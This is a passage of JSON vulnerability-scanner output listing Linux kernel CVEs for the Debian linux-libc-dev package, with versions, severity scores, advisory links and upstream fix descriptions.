"https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31696" ], "PublishedDate": "2026-05-01T14:16:19.403Z", "LastModifiedDate": "2026-11-06T16:18:08.463Z" }, { "VulnerabilityID": "CVE-2026-31702", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31702", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:31565a40d1b9f8229bc389b7587c174bc3c364a6031514080b7be4f4c6606b50", "Title": "kernel: f2fs: fix use-after-free of sbi in f2fs_compress_write_end_io()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix use-after-free of sbi in f2fs_compress_write_end_io()\n\nIn f2fs_compress_write_end_io(), dec_page_count(sbi, type) can bring\nthe F2FS_WB_CP_DATA counter to zero, unblocking\nf2fs_wait_on_all_pages() in f2fs_put_super() on a concurrent unmount\nCPU. The unmount path then proceeds to call\nf2fs_destroy_page_array_cache(sbi), which destroys\nsbi-\u003epage_array_slab via kmem_cache_destroy(), and eventually\nkfree(sbi). Meanwhile, the bio completion callback is still executing:\nwhen it reaches page_array_free(sbi, ...), it dereferences\nsbi-\u003epage_array_slab — a destroyed slab cache — to call\nkmem_cache_free(), causing a use-after-free.\n\nThis is the same class of bug as CVE-2026-23234 (which fixed the\nequivalent race in f2fs_write_end_io() in data.c), but in the\ncompressed writeback completion path that was not covered by that fix.\n\nFix this by moving dec_page_count() to after page_array_free(), so\nthat all sbi accesses complete before the counter decrement that can\nunblock unmount. For non-last folios (where atomic_dec_return on\ncic-\u003epending_pages is nonzero), dec_page_count is called immediately\nbefore returning — page_array_free is not reached on this path, so\nthere is no post-decrement sbi access. For the last folio,\npage_array_free runs while the F2FS_WB_CP_DATA counter is still\nnonzero (this folio has not yet decremented it), keeping sbi alive,\nand dec_page_count runs as the final operation.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31702", "https://git.kernel.org/linus/39d4ee19c1e7d753dd655aebee632271b171f43a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2c97dcb6147c8f7f25c629b93be1e69617de5d4a", "https://git.kernel.org/stable/c/39d4ee19c1e7d753dd655aebee632271b171f43a", "https://git.kernel.org/stable/c/57bc678f36ac03281e877c6b84877b43f964143f", "https://git.kernel.org/stable/c/c76cf339b87975ae5b2c06d2d774d5667d25a12a", "https://git.kernel.org/stable/c/ef57cd3329b40c739b9a2e1a8a21ecc4171c6280", "https://git.kernel.org/stable/c/f5154cf3ce1c8193f0c1891d3769f62740cfe6fe", "https://lore.kernel.org/linux-cve-announce/2026050120-CVE-2026-31702-4062@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31702", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31702" ], "PublishedDate": "2026-05-01T14:16:20.14Z", "LastModifiedDate": "2026-06-17T10:34:16.31Z" }, { "VulnerabilityID": "CVE-2026-31709", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31709", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:91c1f8f518ab7c0a5ac52658279319a03d8cba32e8799a3cb949f7bd252e4b6a", "Title": "kernel: smb: client: validate the whole DACL before rewriting it in cifsacl", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: validate the whole DACL before rewriting it in cifsacl\n\nbuild_sec_desc() and id_mode_to_cifs_acl() derive a DACL pointer from a\nserver-supplied dacloffset and then use the incoming ACL to rebuild the\nchmod/chown security descriptor.\n\nThe original fix only checked that the struct smb_acl header fits before\nreading dacl_ptr-\u003esize or dacl_ptr-\u003enum_aces. That avoids the immediate\nheader-field OOB read, but the rewrite helpers still walk ACEs based on\npdacl-\u003enum_aces with no structural validation of the incoming DACL body.\n\nA malicious server can return a truncated DACL that still contains a\nheader, claims one or more ACEs, and then drive\nreplace_sids_and_copy_aces() or set_chmod_dacl() past the validated\nextent while they compare or copy attacker-controlled ACEs.\n\nFactor the DACL structural checks into validate_dacl(), extend them to\nvalidate each ACE against the DACL bounds, and use the shared validator\nbefore the chmod/chown rebuild paths. parse_dacl() reuses the same\nvalidator so the read-side parser and write-side rewrite paths agree on\nwhat constitutes a well-formed incoming DACL.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-1288" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21556", "https://access.redhat.com/errata/RHSA-2026:21706", "https://access.redhat.com/errata/RHSA-2026:21745", "https://access.redhat.com/errata/RHSA-2026:22900", "https://access.redhat.com/errata/RHSA-2026:22940", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:23237", "https://access.redhat.com/errata/RHSA-2026:23329", "https://access.redhat.com/errata/RHSA-2026:24343", "https://access.redhat.com/security/cve/CVE-2026-31709", "https://bugzilla.redhat.com/2390372", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2424881", "https://bugzilla.redhat.com/2424886", "https://bugzilla.redhat.com/2429104", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2455334", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464476", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2390372", "https://bugzilla.redhat.com/show_bug.cgi?id=2422699", "https://bugzilla.redhat.com/show_bug.cgi?id=2424881", "https://bugzilla.redhat.com/show_bug.cgi?id=2424886", "https://bugzilla.redhat.com/show_bug.cgi?id=2429104", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2454810", "https://bugzilla.redhat.com/show_bug.cgi?id=2455334", "https://bugzilla.redhat.com/show_bug.cgi?id=2461757", "https://bugzilla.redhat.com/show_bug.cgi?id=2461759", "https://bugzilla.redhat.com/show_bug.cgi?id=2464369", "https://bugzilla.redhat.com/show_bug.cgi?id=2464455", "https://bugzilla.redhat.com/show_bug.cgi?id=2464462", "https://bugzilla.redhat.com/show_bug.cgi?id=2464476", "https://bugzilla.redhat.com/show_bug.cgi?id=2464496", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2467064", "https://bugzilla.redhat.com/show_bug.cgi?id=2467210", "https://bugzilla.redhat.com/show_bug.cgi?id=2468091", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68724", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71089", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31684", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31685", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43190", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43303", "https://errata.almalinux.org/9/ALSA-2026-21556.html", "https://errata.rockylinux.org/RLSA-2026:21556", "https://git.kernel.org/linus/0a8cf165566ba55a39fd0f4de172119dd646d39a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0a8cf165566ba55a39fd0f4de172119dd646d39a", "https://git.kernel.org/stable/c/8e47d297e7cf9a6029a0d38e7b22faba7d7aaf12", "https://git.kernel.org/stable/c/b78db9bddc84136f6a0bb49e8883cf200dfb87a8", "https://git.kernel.org/stable/c/b8603d9ae6c9087662b098619996bc4a8064319d", "https://git.kernel.org/stable/c/c2abdebf72000a64603ced84d36ccbd164f11391", "https://git.kernel.org/stable/c/d92f3f0b22414e7515696a02224d0af55e3004a3", "https://git.kernel.org/stable/c/ff0ca46b13b9ef6edbcd238a3b6caacfef8ba0e5", "https://linux.oracle.com/cve/CVE-2026-31709.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050122-CVE-2026-31709-335b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31709", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31709.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-31709" ], "PublishedDate": "2026-05-01T14:16:20.95Z", "LastModifiedDate": "2026-10-19T20:17:56.887Z" }, { "VulnerabilityID": "CVE-2026-31715", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31715", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7140800bdcb071125476d86a9759d0cb942a3fe6e3cb8a166eb8a311bc0d6649", "Title": "kernel: f2fs: fix UAF caused by decrementing sbi-\u003enr_pages[] in f2fs_write_end_io()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix UAF caused by decrementing sbi-\u003enr_pages[] in f2fs_write_end_io()\n\nThe xfstests case \"generic/107\" and syzbot have both reported a NULL\npointer dereference.\n\nThe concurrent scenario that triggers the panic is as follows:\n\nF2FS_WB_CP_DATA write callback umount\n - f2fs_write_checkpoint\n - f2fs_wait_on_all_pages(sbi, F2FS_WB_CP_DATA)\n- blk_mq_end_request\n - bio_endio\n - f2fs_write_end_io\n : dec_page_count(sbi, F2FS_WB_CP_DATA)\n : wake_up(\u0026sbi-\u003ecp_wait)\n - kill_f2fs_super\n - kill_block_super\n - f2fs_put_super\n : iput(sbi-\u003enode_inode)\n : sbi-\u003enode_inode = NULL\n : f2fs_in_warm_node_list\n - is_node_folio // sbi-\u003enode_inode is NULL and panic\n\nThe root cause is that f2fs_put_super() calls iput(sbi-\u003enode_inode) and\nsets sbi-\u003enode_inode to NULL after sbi-\u003enr_pages[F2FS_WB_CP_DATA] is\ndecremented to zero. As a result, f2fs_in_warm_node_list() may\ndereference a NULL node_inode when checking whether a folio belongs to\nthe node inode, leading to a panic.\n\nThis patch fixes the issue by calling f2fs_in_warm_node_list() before\ndecrementing sbi-\u003enr_pages[F2FS_WB_CP_DATA], thus preventing the\nuse-after-free condition.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31715", "https://git.kernel.org/linus/2d9c4a4ed4eef1f82c5b16b037aee8bad819fd53%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0d40b26377f891e6dcb6efaf8ef9374c99be1b1d", "https://git.kernel.org/stable/c/1171f329cf1c175321251ac40fd126150d7ad1e8", "https://git.kernel.org/stable/c/188bb65f247a7a7c62f287c9a263aee3cad96fa5", "https://git.kernel.org/stable/c/2d9c4a4ed4eef1f82c5b16b037aee8bad819fd53", "https://git.kernel.org/stable/c/7be222de96c0f9eee6e65eeb017ef855ee185cfa", "https://git.kernel.org/stable/c/7dbdab4430e4654db9aacef12b9b3b8b29ca25cb", "https://git.kernel.org/stable/c/963d2e24d9d92a31e6773b0f642214f10013ebf7", "https://git.kernel.org/stable/c/ffb94770dbdfb5411be5d9f44a960b010ec890ad", "https://lore.kernel.org/linux-cve-announce/2026050123-CVE-2026-31715-891c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31715", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-31715" ], "PublishedDate": "2026-05-01T14:16:21.637Z", "LastModifiedDate": "2026-06-19T13:16:27.537Z" }, { "VulnerabilityID": "CVE-2026-31720", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bc25f5bdc7dcdcb2dea9adfb806c56a45b3ae0aa42c44dad95a1dadf3ccd3e0b", "Title": "kernel: usb: gadget: f_uac1_legacy: validate control request size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_uac1_legacy: validate control request size\n\nf_audio_complete() copies req-\u003elength bytes into a 4-byte stack\nvariable:\n\n u32 data = 0;\n memcpy(\u0026data, req-\u003ebuf, req-\u003elength);\n\nreq-\u003elength is derived from the host-controlled USB request path,\nwhich can lead to a stack out-of-bounds write.\n\nValidate req-\u003eactual against the expected payload size for the\nsupported control selectors and decode only the expected amount\nof data.\n\nThis avoids copying a host-influenced length into a fixed-size\nstack object.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31720", "https://git.kernel.org/linus/6e0e34d85cd46ceb37d16054e97a373a32770f6c%20%287.0-rc7%29", "https://git.kernel.org/stable/c/0d41772d98dcaf6c17e875b7d0ea0154ae1191ee", "https://git.kernel.org/stable/c/21b11e8581285c6f10ef43d05df349d445f24273", "https://git.kernel.org/stable/c/26304d124e7f0383f8fe1168b5801a0ac7e16b1c", "https://git.kernel.org/stable/c/557d1d4e862eccd0b74cc377b66de3e1e8d49605", "https://git.kernel.org/stable/c/6e0e34d85cd46ceb37d16054e97a373a32770f6c", "https://git.kernel.org/stable/c/8e5eb1d6e6a3d7bbea9c92132d0cda5793176426", "https://git.kernel.org/stable/c/be2d32f0c3fe333d14c0a9ca90328dacbc3e06b8", "https://git.kernel.org/stable/c/c6da4fed7537aec19880c24f6c3a95065adb1406", "https://lore.kernel.org/linux-cve-announce/2026050131-CVE-2026-31720-3b60@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31720", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31720" ], "PublishedDate": "2026-05-01T15:16:34.36Z", "LastModifiedDate": "2026-06-17T10:34:18.37Z" }, { "VulnerabilityID": "CVE-2026-31729", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31729", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:98830d31235ba6b742f70da656db9c093fc595f8c8dc70e50924b3f7222c914b", "Title": "kernel: usb: typec: ucsi: validate connector number in ucsi_notify_common()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: ucsi: validate connector number in ucsi_notify_common()\n\nThe connector number extracted from CCI via UCSI_CCI_CONNECTOR() is a\n7-bit field (0-127) that is used to index into the connector array in\nucsi_connector_change(). However, the array is only allocated for the\nnumber of connectors reported by the device (typically 2-4 entries).\n\nA malicious or malfunctioning device could report an out-of-range\nconnector number in the CCI, causing an out-of-bounds array access in\nucsi_connector_change().\n\nAdd a bounds check in ucsi_notify_common(), the central point where CCI\nis parsed after arriving from hardware, so that bogus connector numbers\nare rejected before they propagate further.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31729", "https://git.kernel.org/linus/d2d8c17ac01a1b1f638ea5d340a884ccc5015186%20%287.0-rc7%29", "https://git.kernel.org/stable/c/98429e9ec89a5e3a204112dfaa2dbe6ca28493a0", "https://git.kernel.org/stable/c/d2d8c17ac01a1b1f638ea5d340a884ccc5015186", "https://git.kernel.org/stable/c/f4e608fe12b7ac6a4a57176ab0296bb5a110a078", "https://git.kernel.org/stable/c/f6dcbf2b024d55549959402f1db6c614e51d52cb", "https://linux.oracle.com/cve/CVE-2026-31729.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050136-CVE-2026-31729-6350@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31729", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31729" ], "PublishedDate": "2026-05-01T15:16:35.467Z", "LastModifiedDate": "2026-11-06T16:18:08.887Z" }, { "VulnerabilityID": "CVE-2026-31747", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31747", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:064acd08e53111b10101bdd3b494d76e67059953c9e6aa628e4c6d2fc284b5d6", "Title": "kernel: comedi: me4000: Fix potential overrun of firmware buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: me4000: Fix potential overrun of firmware buffer\n\n`me4000_xilinx_download()` loads the firmware that was requested by\n`request_firmware()`. It is possible for it to overrun the source\nbuffer because it blindly trusts the file format. It reads a data\nstream length from the first 4 bytes into variable `file_length` and\nreads the data stream contents of length `file_length` from offset 16\nonwards.\n\nAdd a test to ensure that the supplied firmware is long enough to\ncontain the header and the data stream. On failure, log an error and\nreturn `-EINVAL`.\n\nNote: The firmware loading was totally broken before commit ac584af59945\n(\"staging: comedi: me4000: fix firmware downloading\"), but that is the\nmost sensible target for this fix.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31747", "https://git.kernel.org/linus/3fb43a7a5b44713f892c58ead2e5f3a1bc9f4ee7%20%287.0-rc7%29", "https://git.kernel.org/stable/c/1603dd471f47762e9d1f52304edb3e49a7e62655", "https://git.kernel.org/stable/c/3fb43a7a5b44713f892c58ead2e5f3a1bc9f4ee7", "https://git.kernel.org/stable/c/64b24b713e1a3ea6624480594b4f8c2ff86502f2", "https://git.kernel.org/stable/c/8ddfe6495c245226a30d8b36e2f4a7aa7712e8d6", "https://git.kernel.org/stable/c/99f31aa98ab6e3805c455b65bcd01b3d48bdf1a5", "https://git.kernel.org/stable/c/de3f923ae7d91480ed3ecea1b1e1fc0dc25b597d", "https://git.kernel.org/stable/c/eae19cab44204537f79146f15a51811b13227c38", "https://git.kernel.org/stable/c/f72b5567f7c117b46b4058dc6a0c7554f8565561", "https://lore.kernel.org/linux-cve-announce/2026050141-CVE-2026-31747-430e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31747", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", 